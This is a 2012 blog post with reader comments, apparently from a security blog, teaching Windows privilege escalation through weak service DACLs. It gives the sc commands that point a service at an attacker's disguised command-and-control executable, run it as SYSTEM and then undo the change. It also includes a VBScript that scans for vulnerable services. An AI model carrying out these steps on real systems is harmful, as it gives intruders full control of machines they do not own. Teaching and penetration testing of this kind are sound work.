Thursday, October 11, 2012

Privilege Escalation with DACLs


BACKGROUND

The most common way an attacker takes over a system these days is through client-side vulnerabilities, usually through a web browser exploit or through social engineering. If an attacker gains access to a Windows system using either vector, they will most likely inherit the same level of access as the user that was either running the web browser or followed the social engineering instructions (i.e. launched a malicious email attachment). By now, most users should not have administrative level privileges on their systems. As a non-administrative user, the attacker is somewhat limited from spreading to other systems within your network. Sure, they can hit the documents and the data that the user has access to (even on network shares), but let's face it: Joe Schmoe is not really the target, after all, he's the guy who falls for social engineering tricks! As an attacker, we want to find the keys to the kingdom: the system administrators!

This is where privilege escalation comes into play. Should an attacker be able to elevate to administrative level, or even worse, SYSTEM level access, it's just about game over.


ANALOGIES GALORE

Networked Windows systems operate somewhat like the subway station in the second installment of the movie "The Matrix." In the subway station, Neo, our all powerful protagonist, was faced with "The Train Man" who controlled the subway station. While Neo was all powerful in the Matrix (the Windows network), he was no match for the Train Man (SYSTEM) in the subway (a single system in the Windows Network). In the Matrix, the Train Man was just a harmless bum, but in the train station, he rightly exclaims: "Down here...I'M GOD!". Why is this? Well, Neo is like a Domain Administrator: he can traverse the network, moving in and out of different systems, doing things that the normal users can't. SYSTEM, on the other hand, can't even do ANYTHING outside of his own box. He can initiate a network connection, but he has no credentials to the file share. But within a system, SYSTEM can override a Domain Adminstrator!

 In fact, SYSTEM can even "Agent Smith" a Domain Administrator account, taking over the credentials and traversing the entire network with it. This is where we want to be. Privilege esclation is our vehicle.


PRIVILEGE ESCALATION IS SO 2000s!

Yes, it's an old problem, going back to the the old UNIX systems, even before the 2000s. It's featured prominently in the story of Cliff Stoll, probably the world's first real cyber incident responder (see the book "The Cuckoo's Egg"). But it is still around and likely will be for a long time.

One of the places we can hunt for privilege escalation opportunities is in the Service and Driver Discretionary Access Control Lists (DACLs) in Windows machines. DACLs control the permissions applied to Windows services and drivers. Weak DACLs can allow privilege escalation when an attacker can modify a service or driver. Since services run with SYSTEM privileges, an attacker can re-configure a service or driver configured with a weak DACL to run their process of choice. Starting that service or driver will then launch that process as SYSTEM.


OK, HOW DO I DO THIS?

First thing to do is to find weak DACLs. DACLs can be fairly complex, but as Microsoft knows, certain DACLs are dangerous:

(DC) - Change Configuration
(WD) - Change DACL
(WO) - Change Ownership


If a non-administrative user has access to these privileges in a service, it is officially vulnerable.

READING A DACL
If you've never seen it before, a DACL looks like this:

(A;;CCLCSWLOCRRC;;;AU)
This can be read as allowing authenticated users to query a service and it's status.
The syntax is basically "Allow/Deny;Permissions;;;ACRONYM or SID"
  • Allow/Deny - this is represented by either an "A" or a "D" respectively and determines if this DACL is describing permissions to allow or deny
  • Permissions - this is a long series of two-letter codes. Aside from the three samples above, common ones are:
    • CC: Configuration Queries
    • LC: Query Status
    • RP: Start
    • WP: Stop
    • SD: Delete
  • ACRONYM or SID - this is either a SID or one of a series of pre-defined groups:
    • DA: Domain Administrators
    • LA: Local Administrator Account
    • BA: Local Administrators Group
    • AU: Authenticated Users
    • WD: All users (my favorite)
To see what a DACL looks like, you can use the built-in Windows service control command: sc


sc sdshow "service name"

Full syntax for the "sc" command can be found just by running "sc" by itself.

Here is an example of listing all the services and then showing a DACL for a single service:


C:\>sc query | findstr SERVICE_NAME
SERVICE_NAME: ac.sharedstore
SERVICE_NAME: AdobeARMservice
SERVICE_NAME: Appinfo
SERVICE_NAME: AppMgmt
SERVICE_NAME: AudioEndpointBuilder
SERVICE_NAME: Dhcp
<...snipped for brevity...>
SERVICE_NAME: WSearch
SERVICE_NAME: wuauserv
SERVICE_NAME: wudfsvc
C:\>sc sdshow Dhcp
D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWLOCRRC;;;IU)

In this case, the DACL for DHCP is fairly tight. Here's an example of a weak DACL:


C:\TEMP>sc sdshow helpsvc
D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)


This DACL allows anyone to reconfigure it. So we will.
(Assume we had previously uploaded our command and control executable named "svdhost.exe" into C:\TEMP)

First, we check the current path and parameters:


C:\TEMP>sc qc helpsvc
[SC] GetServiceConfig SUCCESS
        SERVICE_NAME: helpsvc
        TYPE : 20 WIN32_SHARE_PROCESS
        START_TYPE : 2 AUTO_START
        ERROR_CONTROL : 1 NORMAL
        BINARY_PATH_NAME : C:\WINDOWS\System32\svchost.exe -k netsvcs
        LOAD_ORDER_GROUP :
        TAG : 0
        DISPLAY_NAME : Help and Support
        DEPENDENCIES : RPCSS
        SERVICE_START_NAME : LocalSystem


Next, we configure our own "BINARY_PATH_NAME":


C:\TEMP>sc config helpsvc binpath= "c:\TEMP\svdhost.exe" start= auto error= ignore type= own
[SC] ChangeServiceConfig SUCCESS

Then, we simply start it:


C:\TEMP>sc start helpsvc
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.

Our service didn't start, but all we wanted was our process to launch as SYSTEM. Let's find our process and see what level privilege we have:


C:\TEMP>tasklist /v | find "svdhost.exe"
svdhost.exe                  2760          0          1,536 K Running
                NT AUTHORITY\SYSTEM          0:00:00 N/A

And now, we have just escalated our privleges. We are now the Train Man. Should Neo walk in here, he's toast.

At this point, we can change the service back to the original:


C:\TEMP>sc config helpsvc binpath= "C:\WINDOWS\System32\svchost.exe -k netsvcs" start= auto error= normal type= share
[SC] ChangeServiceConfig SUCCESS

So now we have our very own process running as SYSTEM. What to do next? Stay tuned for a future post demostrating session and account hijacking!

P.S. If you don't want to hunt through services one at a time, you can use the script below to find services with possibly weak DACLs. Save as a text file named "daclchk.vbs" and run with "cscript daclchk.vbs".  Note that this is a rough attempt at isolating weak DACLs using regular expression.  It may produce false positives.


Wscript.Echo "Searching for weak DACLs on all installed services..."
Dim re,tmp1,tmp2, currService, matches, vulnerable
Set re = new regexp
Set re2 = new regexp
Set objShell = CreateObject("WScript.Shell")
Set objScriptExec = objShell.Exec("sc query type= service state= all")
matches = 0
re.Pattern = "^SERVICE_NAME"
do while Not objScriptExec.StdOut.AtEndOfStream
tmp1 = objScriptExec.StdOut.ReadLine
If re.Test(tmp1) Then
 currService = Right(tmp1,Len(tmp1)-14)
 Set objScriptExec2 = objshell.Exec("sc sdshow """ & currService & """")
 re2.Pattern = "\(A;[A-Z;]*(WD|WO|DC)[A-Z;]*;(WD|BU|BG|AU)\)"
 tmp2 = objScriptExec2.StdOut.ReadAll
 If re2.Test(tmp2) or Len(tmp2) < 7 Then
  Wscript.Echo "Service " & currService & " appears to be vulnerable!"& tmp2
  matches = matches + 1
  vulnerable = vulnerable & vbcrlf & currService
 End If
End If
loop
Wscript.Echo "Found " & matches & " potentially vulnerable services:"
Wscript.Echo vulnerable

3 comments:

  1. Very nice, the script is in particular useful when doing internal pentests or when an external Windows system has been compromised with normal / non-system privileges.

    ReplyDelete
  2. Excellent work, i'm discovering and searching for some of these techniques to escalate privileges. I found your work really interesting, and indeed i'm planning to write a python script(then create an exe) to use some of these techniques to gather and exploit services, weak permissions..Etc to escalate privileges (but keeping in mind to use integrated tools in any windows) ! I rode interesting work and articles there :
    http://travisaltman.com/windows-privilege-escalation-via-weak-service-permissions/
    http://pentestmonkey.net/tools/windows-privesc-check

    At the moment my work stopped at searching for services executables that can be wrong configured for their permissions :
    C:\>for /f "delims=" %a in ('dir /b/s D:\*.exe') do @xcacls "%a" | find "BUILTIN\Utilisateurs:F"

    .... :D ... A lot of work to do...
    I'll contact you, also if you permit.
    My mail and twitter : fermetabouche -- gmail ... / @action09

    Thanks!

    ReplyDelete